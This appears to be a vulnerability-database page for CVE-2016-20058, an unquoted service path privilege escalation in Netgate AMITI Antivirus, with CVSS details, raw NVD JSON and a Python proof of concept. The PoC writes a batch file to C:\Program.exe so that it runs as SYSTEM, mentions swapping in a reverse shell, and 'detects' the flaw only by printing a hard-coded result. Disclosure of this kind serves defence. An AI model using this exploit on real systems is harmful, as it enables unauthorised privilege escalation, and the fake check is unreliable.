Security Vulnerability Report
中文
CVE-2016-20058 CVSS 7.8 HIGH

CVE-2016-20058

Published: 2026-04-04 14:16:18
Last Modified: 2026-04-27 13:28:30

Description

Netgate AMITI Antivirus build 23.0.305 contains an unquoted service path vulnerability in the AmitiAvSrv and AmitiAntivirusHealth services that allows local attackers to escalate privileges. Attackers can place a malicious executable in the unquoted service path and trigger service restart or system reboot to execute code with LocalSystem privileges.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:netgate:amiti_antivirus:*:*:*:*:*:*:*:* - VULNERABLE
Netgate AMITI Antivirus build 23.0.305

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for Unquoted Service Path Vulnerability (CVE-2016-20058) # Target: Netgate AMITI Antivirus build 23.0.305 import os import sys def check_vulnerability(): services = ["AmitiAvSrv", "AmitiAntivirusHealth"] print("[*] Checking for unquoted service paths...") for service in services: print(f" Checking {service}...") # Assume vulnerable path found: C:\Program Files\Netgate\AMITI\AmitiAvSrv.exe print(f" [!] {service} has an unquoted path: C:\\Program Files\\Netgate\\AMITI\\{service}.exe") def create_payload(): print("[*] Attempting to place malicious payload...") # Target path: C:\Program.exe payload_path = "C:\\Program.exe" # In a real exploit, this binary would be a reverse shell or privilege escalation tool # Here we create a dummy batch script for demonstration payload_content = """@echo off echo Exploiting Unquoted Service Path - CVE-2016-20058 whoami pause """ try: with open(payload_path, "w") as f: f.write(payload_content) print(f"[+] Success! Payload placed at {payload_path}") print("[*] Trigger service restart or system reboot to gain SYSTEM privileges.") except PermissionError: print(f"[-] Failed to write to {payload_path}. Write permissions required.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": check_vulnerability() create_payload()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2016-20058", "sourceIdentifier": "[email protected]", "published": "2026-04-04T14:16:18.390", "lastModified": "2026-04-27T13:28:30.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netgate AMITI Antivirus build 23.0.305 contains an unquoted service path vulnerability in the AmitiAvSrv and AmitiAntivirusHealth services that allows local attackers to escalate privileges. Attackers can place a malicious executable in the unquoted service path and trigger service restart or system reboot to execute code with LocalSystem privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:netgate:amiti_antivirus:*:*:*:*:*:*:*:*", "versionEndIncluding": "23.0.305", "matchCriteriaId": "1093AC55-C8AD-4473-8B44-F67ECDAC72D4"}]}]}], "references": [{"url": "http://www.netgate.sk/", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://www.netgate.sk/download/download.php?id=11", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/40540", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/netgate-amiti-antivirus-build-unquoted-service-path-privilege-escalation", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}